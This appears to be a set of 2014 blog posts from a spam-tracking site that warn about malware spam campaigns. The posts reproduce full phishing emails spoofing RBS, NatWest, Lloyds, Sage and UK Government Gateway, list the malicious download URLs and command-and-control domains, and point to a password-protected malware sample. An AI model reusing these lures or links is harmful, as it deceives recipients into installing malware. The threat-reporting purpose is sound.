Registered office: 81 Newgate Street London EC1A 7AJ Registered in England no: 1800000

RBS Bankline: Outstanding invoice


From:     Bankline.Administrator@rbs.co.uk [Bankline.Administrator@rbs.co.uk]
To:     redacted.uk
Date:     26 September 2014 13:05
Subject:     Outstanding invoice

   {_BODY_TXT}

Dear [redacted],

Please find the attached copy invoice which is showing as unpaid on our ledger.

To download your invoice please click here

I would be grateful if you could look into this matter and advise on an expected payment date .

Many thanks

Paul Hamilton

Credit Control

Tel: 0845 300 2952
In the sample I looked at the malware page downloaded an archive document26092014-008_pdf.zip which in turn contains document26092014-008_pdf.exe which is the same payload as earlier.

The links I have seen so far in the emails are:

http://motobrothers.com.pl/documents/document26092014-008.php
http://splash.com.my/documents/document26092014-008.php
http://www.firstlcoc.org/documents/document26092014-008.php
http://elblogderosner.com/documents/document26092014-008.php

Malware spam: "Employee Documents - Internal Use" / "You have a new voice" / "BACS Transfer : Remittance for JSAG244GBP" / "New Fax"

Whoever is running this spam run is evolving it day after day, with different types of spam to increase clickthrough rates and now some tricky tools to prevent analysis of the malware.

Employee Documents - Internal Use

From:     victimdomain
Date:     26 September 2014 09:41
Subject:     Employee Documents - Internal Use

DOCUMENT NOTIFICATION, Powered by NetDocuments

DOCUMENT NAME: Employee Documents

DOCUMENT LINK: http://iqmaintenance.com.au/Documents/document26092014-20.pdf

Documents are encrypted in transit and store in a secure repository

---------------------------------------------------------------------------------
This message may contain information that is privileged and confidential. If you received this transmission in error, please notify the sender by reply email and delete the message and any attachments.

You have a new voice

From:     Voice Mail [Voice.Mail@victimdomain]
Date:     26 September 2014 09:30
Subject:     You have a new voice

You are receiving this message because we were unable to deliver it, voice message did not go through because the voicemail was unavailable at that moment.

* The reference number for this message is _qvs4004011004_001

The transmission length was 26
Receiving machine ID : ES7D-ZNA1D-QF3E

To download and listen your voice mail please follow the link below: http://www.sjorg.com/Documents/voice26092014-18

The link to this secure message will expire in 24 hours. If you would like to save a copy of the email or attachment, please save from the opened encrypted email. If an attachment is included, you will be given the option to download a copy of the attachment to your computer.

RBS: BACS Transfer : Remittance for JSAG244GBP

From:     Douglas Byers [creditdepart@rbs.co.uk]
Date:     26 September 2014 10:12
Subject:     BACS Transfer : Remittance for JSAG244GBP

We have arranged a BACS transfer to your bank for the following amount : 4596.00
Please find details at our secure link below:

http://plugdeals.com/Documents/payment26092014-15

New Fax

From:     FAX Message [fax@victimdomain]
Date:     26 September 2014 10:26
Subject:     New Fax

You have received a new fax .
Date/Time: Fri, 26 Sep 2014 16:26:36 +0700.
Your Fax message can be downloaded here : http://montfort.dk/Documents/faxmessage26092014-16
The links in the emails I have seen go to the following locations (there are probably many, many more):

http://plugdeals.com/Documents/payment26092014-15
http://iqmaintenance.com.au/Documents/document26092014-20.pdf
http://www.sjorg.com/Documents/voice26092014-18
http://montfort.dk/Documents/faxmessage26092014-16


The attack has evolved recently.. usually these malicious links forwarded on to another site which had the malicious payload. Because all the links tended to end up at the same site, it was quite easy to block that site and foil the attack. But recently the payload is spread around many different sites making it harder to block.

A new one today is that the landing page is somewhat obfuscated to make it harder to analyse, and this time the download is a plain old .scr file rather than a .zip. I've noticed that many anti-virus products are getting quite good at detecting the malicious ZIP files with a generic detection, but not the binary within. By removing the ZIP wrapper, the bad guys have given one less hook for AV engines to find.

The landing page script looks like this [pastebin] which is a bit harder to deal with, but nonetheless an malicious binary document7698124-86421_pdf.scr is downloaded from the remote site which has a VirusTotal detection rate of 2/55. The Anubis report shows the malware attempting to phone home to padav.com which is probably worth blocking.

Thursday, 25 September 2014

Malware spam: RBS "BACS Transfer" / Sage "Outdated Invoice" / Lloyds "Important - Commercial Documents" / NatWest "Important - New account invoice"

There seems to be a very aggressive spam run this morning, with at least four different email formats pushing the same malicious download.

RBS / Riley Crabtree: "BACS Transfer : Remittance for JSAG814GBP"

From:     Riley Crabtree [creditdepart@rbs.co.uk]
Date:     25 September 2014 10:58
Subject:     BACS Transfer : Remittance for JSAG814GBP

We have arranged a BACS transfer to your bank for the following amount : 4946.00
Please find details at our secure link below:

http://shetabweb.com/bvqsyphiwq/cdddcetuex.html

Sage Account & Payroll: "Outdated Invoice"

From:     Sage Account & Payroll [invoice@sage.com]
Date:     25 September 2014 10:53
Subject:     Outdated Invoice

Sage Account & Payroll

You have an outdated invoice from Sage Accounting that is ready for payment. To find out more details on this invoice, please follow the link bellow or click here to view/download your account invoice:

https://invoice.sage.co.uk/Account?928143=Invoice_092514.zip

If we hold any information about you which is incorrect or if there are any changes to your details please let us know by so that we can keep our records accurate and up to date. If you would like to update your records or see a copy of the information that we hold about you, you can contact us at Data Protection Officer, Sage (UK) Ltd, North Park, Newcastle-upon-Tyne, NE13 9AA or by email to digital@sage.com. If you request a copy of your information you will need to pay a statutory fee which is currently £10.

The contents of this email and any attachments are confidential. They are intended for the named recipient(s) only. If you have received this email in error please notify the system manager or the sender immediately and do not disclose the contents to anyone or make copies.

We have communicated this information with users as well, and we will continue to communicate with you through email as your transition continues.

This email was sent to: [redacted]

This email was sent by: Sage UK Limited
NC1-002-08-25, Newcastle upon Tyne., North Park, NE13 9AA, United Kingdom

Privacy and Security
Keeping your financial information secure is one of our most important responsibilities. For an explanation of how we manage customer information, please read our Privacy Policy. You can also learn how Sage UK Limited keeps your personal information secure and how you can help protect yourself.

Lloyds Commercial Bank: "Important - Commercial Documents"

From:     Lloyds Commercial Bank [secure@lloydsbank.com]
Date:     25 September 2014 11:36
Subject:     Important - Commercial Documents

Important account documents

Reference: C400
Case number: 05363392
Please review BACs documents.

Click link below, download and open document. (PDF Adobe file)
----------------------
http://fantastyka.nets.pl/irdmewoars/jyfiqmcojv.html
-----------------------

Please note that the Terms and Conditions available below are the Bank's most recently issued versions. Please bear in mind that earlier versions of these Terms and Conditions may apply to your products, depending on when you signed up to the relevant product or when you were last advised of any changes to your Terms and Conditions. If you have any questions regarding which version of the Terms and Conditions apply to your products, please contact your Relationship Manager. .

Yours faithfully

James Vance
Senior Manager, Lloyds Commercial Banking

Calls may be monitored or recorded in case we need to check we have carried out your instructions correctly and to help improve our quality of service.

Please remember we guarantee the security of messages sent by email. 

NatWest Invoice: "Important - New account invoice

From:     NatWest Invoice [invoice@natwest.com]
Date:     25 September 2014 10:28
Subject:     Important - New account invoice

Your latest NatWest invoice has been uploaded for your review. If you have any questions regarding this invoice, please contact your NatWest service team at the number provided on the invoice for assistance.
To view/download your invoice please click here or follow the link below :

https://www.nwolb.com/ServiceManagement/InvoicePageNoMenu.aspx?InvoiceCode=Invoice_232449


Thank you for choosing NatWest.

Important: Please do not respond to this message. It comes from an unattended mailbox.


This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. If you are not the intended recipient you are notified that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited.

The Royal Bank of Scotland International Limited trading as NatWest (NatWest). Registered Office: P.O. Box 64, Royal Bank House, 71 Bath Street, St. Helier, Jersey JE4 8PJ. Regulated by the Jersey Financial Services Commission.
The links in the emails go to different download locations to make it harder to block:

http://shetabweb.com/bvqsyphiwq/cdddcetuex.html
http://convergika.com/atlbhffykf/rdtlixjoot.html
http://calastargate.net/iqfhtfqinv/ybzhlpbjkh.html
http://fantastyka.nets.pl/irdmewoars/jyfiqmcojv.html


There are probably many, many more locations. In each case the page then downloads the victim to download file Invoice_09252014.zip from the same directory as the html file.

This ZIP file contains a malicious executable Invoice_09252014.scr which currently has a VirusTotal detection rate of 3/54. The Anubis report shows that it phones home to ukrchina-logistics.com which is probably worth blocking or monitoring access to.


Wednesday, 24 September 2014

More spam from the "Institute of Project Management America" (instituteofprojectmanagementamerica.org)

I've been on the case of the individuals spamming for IPMA (and before that NAPPPA) for some time, but it is disappointing to see that they are still pushing their fake seminars such as this one..

From:     Institute of Project Management America [announcements@ipma8.org]
Date:     24 September 2014 06:36
Subject:     Project Management Masters Certification Program (October 28-31, 2014: University of Portland)
The Project Management Masters Certification Program will be offered October 28-31, 2014 in Portland, Oregon. Project management professionals, business and technology professionals, students, and educators are invited to register at the  Institute of Project Management America website here.

October 28-31, 2014
University of Portland
Portland, Oregon
 
The PMMC is designed for those seeking professional project management certification. It serves as both a thorough professional education and recognized certification. Those seeking additional credentials such as the PMP®/PgMP®, PMI-SP®, and PMI-RMP® will benefit from this dynamic and interactive work session, while those currently holding credentials will find the certification to be an enhancement as well as the most up to date advanced professional development.  

Project Management Masters Certification program provides 36 hours of project management education, meeting education requirements for both PMI's Certified Associate in Project Management (CAPM) ® and Project Management Professional (PMP) certifications. Additionally, the Master Certification provides 36 Professional Development Units (PDUs) for current holders of PMP®/PgMP®, PMI-SP®, and PMI-RMP® credentials.

The program meets the education requirement for all professional designations through the Project Management Institute and other professional agencies. Additionally, the program awards 3.6 Continuing Education Units (CEUs) upon request. 

Program Description
Our certificate program teaches technical and business professionals how to master the critical skills of project management techniques as part of their technical career development.

The skills developed in the Project Management Masters Certification program apply to large and small projects, product design and development efforts, construction projects, IT projects, software development, and any project with critical performance, time, and budget targets.  

Our approach to project management education offers proven, results-focused learning.

Courses are developed and facilitated by professional subject experts with extensive industrial experience. Course emphasis is on providing practical skills and tools supported by relevant case examples.

Tuition

Tuition for the four-day Project Management Masters Certification program is $995.00

Program Schedule and Content
1. Project Initiation, Costing, and Selection, Day 1
2. Project Organization and Leadership, Day 2 
3. Detailed Project Planning, Day 2 and 3 
4. Project Monitoring and Control, Day 3 and 4 
5. Project Risk Management, Day 4  

Benefits
·   A PMMC certificate of accomplishment is awarded upon completion of the four day program of five courses. Completion letters are given for each course.
·   Our instructors have extensive industrial experience. They focus on providing you with practical skills and tools using relevant case examples.
·   Each class is highly focused and promotes maximum interaction.
·   You can network with other project management professionals from a variety of industries.
·   Earn Professional Development Units (PDUs) for maintenance of certification under the PMI Continuing Certification Requirements Program.
·    Applicants for PMI's Certified Associate in Project Management (CAPM)® and Project Management Professional (PMP) certifications will have met all education requirements for eligibility.

Registration

Participants may reserve a seat online at the Institute of Project Management America website, by calling the Program Office toll-free at (888) 859-5659, or by sending their name and contact information via email the Program Registrar .

Upon receiving your registration, a confirmation email is sent to registrants that include session site information, travel information, program description, and details on how to confirm attendance and make payment arrangements.

Click HERE to unsubscribe from this mailing list. 

 
The people who run this have a very poor reputation for both the quality of the courses and not paying monies owed. Often they claim that the course is being run at a prestigious location, but at the last moment the venue changes to somewhere a lot cheaper. The last spam I received advertising a course at Seattle Public Library in August attracted this comment:
As the person who helps run the calendar at Seattle Public Library, I can assure you that they do not have space secured here for their "training". They never returned the contract or payment.
In this case the spam originates from 173.55.195.165 (a Verizon customer in Hacienda Heights, California) using a "from" address of announcements@ipma8.org and spamvertising the domain instituteofprojectmanagementamerica.org

The following IPs and domains are all connected to this spam run:
91.236.75.132
104.128.224.126
104.128.225.55
172.245.33.189
grantfundingusa.org
instituteofprojectmanagementamerica.org
ipma2014.org
projectmanagementusa.org
ipma2.org
ipma3.org
ipma5.org
ipma6.org
ipma7.org
ipma8.org
ipma9.org
ipma10.org
ipma11.org
ipma12.org

My personal belief is that this so-called Institute is a complete scam and it should be avoided.

"You have received a new secure message from BankLine" spam leads to undetected malware

This fake BankLine email leads to malware that is not currently detected by any anti-virus engine:

From:     Bankline [secure.message@bankline.com]
Date:     24 September 2014 09:59
Subject:     You have received a new secure message from BankLine

You have received a secure message.

Read your secure message by following the link bellow:

http://ismashahalam.net/xyzpayohjx/ngkzoeqjjs.html

You will be prompted to open (view) the file or save (download) it to your computer. For best results, save the file first, then open it.

If you have concerns about the validity of this message, please contact the sender directly. For questions please contact the Bankline Bank Secure Email Help Desk at 0131 556 7941.

First time users - will need to register after opening the attachment.
About Email Encryption - https://supportcentre.Bankline.com/app/answers/detail/a_id/1671/kw/secure%20message 
The link in the email goes to ismashahalam.net/xyzpayohjx/ngkzoeqjjs.html which downloads an archive file from ismashahalam.net/xyzpayohjx/SecureMessage.zip. This in turn contains a malicious file SecureMessage.scr which has a VirusTotal detection rate of 0/50.

The Anubis report shows that the malware phones home to very-english.co.uk which is worth blocking or monitoring.

For research purposes only, a copy of the malicious executable can be downloaded from here [zip]. The password is foray307.

Tuesday, 23 September 2014

Malicious "Employee Documents - Internal Use" spam spoofs victim's domain

This spam appears to come from the victim's own domain, but in fact doesn't and it leads to malware instead.
From:     victimdomain.com [INTERNAL@victimdomain.com]
To:     victim@victimdomain.com
Date:     23 September 2014 11:43
Subject:     Employee Documents - Internal Use

DOCUMENT NOTIFICATION, Powered by NetDocuments

DOCUMENT NAME: Employee Documents

DOCUMENT LINK: http://cystersi.wagrowiec.pl/bitusagezp/paqzdzsfjs.html

Documents are encrypted in transit and store in a secure repository

---------------------------------------------------------------------------------
This message may contain information that is privileged and confidential. If you received this transmission in error, please notify the sender by reply email and delete the message and any attachments.
In this case the link goes to cystersi.wagrowiec.pl/bitusagezp/paqzdzsfjs.html and then downloads a file from cystersi.wagrowiec.pl/bitusagezp/EmployeeDocuments.zip which unzips to a malicious executable EmployeeDocuments.scr. This is exactly the same payload as found in this spam run earlier today.

According to this spam.. "You have a new voice". Really?

This strangely titled spam leads to malware.

From:     Voice Mail
Date:     23 September 2014 10:17
Subject:     You have a new voice

You are receiving this message because we were unable to deliver it, voice message did not go through because the voicemail was unavailable at that moment.

* The reference number for this message is _qvs8213783583_001

The transmission length was 78
Receiving machine ID : R8KU-UY0G3-ONGH

To download and listen your voice mail please follow the link below: http://www.ezysoft.in/ocjnvzulsx/begmnbjiae.html

The link to this secure message will expire in 24 hours. If you would like to save a copy of the email or attachment, please save from the opened encrypted email. If an attachment is included, you will be given the option to download a copy of the attachment to your computer.
Hang on.. cough cough.. la la la la la la.. testing testing. Nope, my voice sounds pretty much the same as it usually does.

The link in the email downloads a file from www.ezysoft.in/ocjnvzulsx/VoiceMail.zip which contains a malicious executable VoiceMail.scr which has a VirusTotal detection rate of 2/54.

According to this Anubis report the malware attempts to phone home to very-english.co.uk which might be worth blocking.

Monday, 22 September 2014

"Your online Gateway.gov.uk Submission" spam

This fake spam from the UK Government Gateway leads to malware:

From:     Gateway.gov.uk
Date:     22 September 2014 12:54
Subject:     Your online Gateway.gov.uk Submission


Electronic Submission Gateway

Thank you for your submission for the Government Gateway.
The Government Gateway is the UK's centralized registration service for e-Government services.

To view/download your form to the Government Gateway please visit http://www.gateway.gov.uk/

This is an automatically generated email. Please do not reply as the email address is not
monitored for received mail.
gov.uk - the best place to find government services and information - Opens in new window

The best place to find government services and information

The link in the email does not go to gateway.gov.uk at all, but in this case the the link goes to the following:
http://maedarchitettura.it/wfntvkppqi/wnazvamlzv.html ->
http://www.maedarchitettura.it/wfntvkppqi/wnazvamlzv.html ->
http://maedarchitettura.it/wfntvkppqi/GatewaySubmission.zip

The ZIP file contains a malicious executable GatewaySubmission.exe which has a VirusTotal detection rate of 1/55. The Anubis report shows that it attempts to make a connection to ruralcostarica.com which is probably worth blocking.

Lena Michalczyk STE LTD "documents" spam

This spam message does not come from STE UK Ltd or any company of a similar name, not does it come from anyone called Lena Michalczyk. In the sample I received, it actually originated from a hacked machine located in the Federated States of Micronesia.

From:     lena michalczyk [michalczyklena@gmail.com]
Date:     22 September 2014 10:01
Subject:     documents

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Regards Lena Michalczyk STE LTD.
office no. 07999258583

--
Regards Lena Michalczyk STE LTD.
office no. 07999258583
In the same I saw, the attached file was block20140915_16321753.pdf.zip but the attachment itself was corrupt, however there's a good chance that the spammers will fix this and send it out with a working payload.

If you receive a message like this, simply delete it and do not open the attachment.